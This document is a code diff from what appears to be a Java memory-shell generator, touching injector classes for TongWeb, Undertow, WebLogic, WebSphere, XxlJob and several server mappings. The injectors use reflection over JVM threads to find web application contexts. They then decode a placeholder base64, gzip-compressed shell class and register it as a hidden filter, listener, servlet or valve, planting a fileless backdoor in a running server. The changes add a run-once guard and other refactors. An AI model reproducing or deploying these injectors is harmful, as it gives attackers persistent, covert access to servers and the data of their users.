msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -64,7 +71,7 @@ public class TongWebValveInjector {
} }
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,9 +81,16 @@ public class TongWebValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class UndertowFilterInjector { public class UndertowFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class UndertowFilterInjector {
} }
public UndertowFilterInjector() { public UndertowFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class UndertowFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -68,8 +75,8 @@ public class UndertowFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -18,19 +19,33 @@ import java.util.zip.GZIPInputStream;
*/ */
public class UndertowListenerInjector { public class UndertowListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public UndertowListenerInjector() { public UndertowListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -39,6 +54,7 @@ public class UndertowListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -59,16 +75,8 @@ public class UndertowListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public String getClassName() { public Set<Object> getContext() throws Exception {
return "{{className}}"; Set<Object> contexts = new HashSet<Object>();
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -18,7 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class UndertowServletInjector { public class UndertowServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,16 +35,21 @@ public class UndertowServletInjector {
} }
public UndertowServletInjector() { public UndertowServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +58,7 @@ public class UndertowServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -71,8 +79,8 @@ public class UndertowServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebLogicFilterInjector { public class WebLogicFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class WebLogicFilterInjector {
} }
public WebLogicFilterInjector() { public WebLogicFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -19,7 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebLogicListenerInjector { public class WebLogicListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -30,16 +31,21 @@ public class WebLogicListenerInjector {
} }
public WebLogicListenerInjector() { public WebLogicListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -20,7 +20,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebLogicServletInjector { public class WebLogicServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -35,16 +36,21 @@ public class WebLogicServletInjector {
} }
public WebLogicServletInjector() { public WebLogicServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,6 +59,7 @@ public class WebLogicServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -8,8 +8,8 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -21,7 +21,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebSphereFilterInjector { public class WebSphereFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -36,16 +37,21 @@ public class WebSphereFilterInjector {
} }
public WebSphereFilterInjector() { public WebSphereFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -54,6 +60,7 @@ public class WebSphereFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -78,27 +85,22 @@ public class WebSphereFilterInjector {
* com.ibm.ws.webcontainer.webapp.WebAppImpl * com.ibm.ws.webcontainer.webapp.WebAppImpl
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -15,7 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebSphereListenerInjector { public class WebSphereListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,16 +29,21 @@ public class WebSphereListenerInjector {
} }
public WebSphereListenerInjector() { public WebSphereListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +52,7 @@ public class WebSphereListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -64,27 +73,22 @@ public class WebSphereListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;
@@ -6,9 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Properties;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -17,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebSphereServletInjector { public class WebSphereServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +30,21 @@ public class WebSphereServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public WebSphereServletInjector() { public WebSphereServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +53,7 @@ public class WebSphereServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -69,27 +74,22 @@ public class WebSphereServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;
@@ -27,7 +27,8 @@ import java.util.zip.GZIPInputStream;
* @since 2025/1/21 * @since 2025/1/21
*/ */
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> { public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -38,12 +39,16 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
} }
public XxlJobNettyHandlerInjector() { public XxlJobNettyHandlerInjector() {
if (ok) {
return;
}
try { try {
inject(); inject();
msg += "[/*] ready\n"; msg += "[/*] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections; import java.util.Collections;
@@ -49,6 +50,9 @@ public abstract class AbstractServer {
} }
public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) { public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
if (StringUtils.isBlank(shellTool)) {
throw new IllegalArgumentException("shellTool is required");
}
ToolMapping mapping = map.get(shellTool); ToolMapping mapping = map.get(shellTool);
if (mapping == null) { if (mapping == null) {
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool); throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
@@ -43,12 +43,12 @@ public class GlassFish extends AbstractServer {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, GlassFishFilterInjector.class) .addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -28,8 +28,8 @@ public class InforSuite extends AbstractServer {
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build(); .build();
} }
} }
@@ -1,11 +1,7 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.*;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -27,8 +23,8 @@ public class Jboss extends AbstractServer {
.addInjector(FILTER, TomcatFilterInjector.class) .addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class) .addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build(); .build();
} }
} }
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; import com.reajason.javaweb.memshell.injector.jetty.*;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
@@ -45,6 +42,9 @@ public class Jetty extends AbstractServer {
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class) .addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
.addInjector(SERVLET, JettyServletInjector.class) .addInjector(SERVLET, JettyServletInjector.class)
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(HANDLER, JettyHandlerInjector.class)
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
.addInjector(CUSTOMIZER, JettyCustomizerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.build(); .build();
} }
@@ -46,6 +46,7 @@ public class Tomcat extends AbstractServer {
